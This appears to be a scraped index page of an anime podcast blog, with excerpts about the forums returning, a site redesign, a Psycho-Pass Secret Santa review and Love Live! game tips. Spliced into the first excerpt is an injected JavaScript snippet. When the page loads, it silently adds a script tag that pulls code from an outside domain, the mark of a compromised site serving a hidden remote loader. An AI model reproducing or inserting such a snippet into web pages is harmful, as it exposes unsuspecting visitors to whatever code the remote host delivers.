The Forums are back – bigger and badder than ever!

The other day I realized something: the Otaku no Podcast Forums have been long neglected.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);


New site design

This is probably blindingly obvious to most of you, but just in case you only consume Otaku no Podcast in RSS or (gasp!) podcast form: I implemented a major redesign of the site tonight. The old theme was looking a little drab, and while browsing around WordPress.org, I found one that I liked better. It […]

Anime Secret Santa Review: Psycho-Pass

Sorry for the late review – it has been an even busier holiday season than usual, with multiple work and family commitments leading up through New Years even. Really tried to get this posted before the end of 2015, but unfortunately I couldn’t manage that. But here it is at last!

For the past few […]


Sorry, but my Anime Secret Santa 2015 review will be a bit delayed…

First of all, sorry for not putting a cool image along with this post. All of the blogging how-to sites say you should always put an image with your post, to attract readers’ attention, blah blah blah. But I can’t figure out how to do that with the WordPress mobile app. Unfortunately I’ve been incredibly […]


The 12 Days of Kurisumasu will be returning for 2015, albeit a bit late

Those of you who’ve been visiting this blog for some time are probably wondering where a certain something is. Namely, the 12 Days of Kurisumasu, that yearly tradition of ours that ostensibly is there to help give you gift ideas (either for other people or for yourself) but is in fact a thinly-veiled attempt to […]


The Anime Secret Santa Project returns for 2015!

It is Monday, October 12 as I write this, which means that we are, theoretically anyway, deep into fall, and will soon be thrust into winter. I say “theoretically” because, at least where I live, it sure as heck doesn’t feel like fall. We’ve been in a seemingly perpetual heat wave for the past few […]


Love Live! School Idol Festival Tips for New Players (Updated)

Update 10/11/2015: A few minor updates toward the end of the post.

Update: we’ve finally nailed down a time when we’re all able to get together and record our AX wrap-up of Doom. (Better late than never!) And I think (knock on wood) I’ve gotten to the bottom of my computer problems. So look forward […]
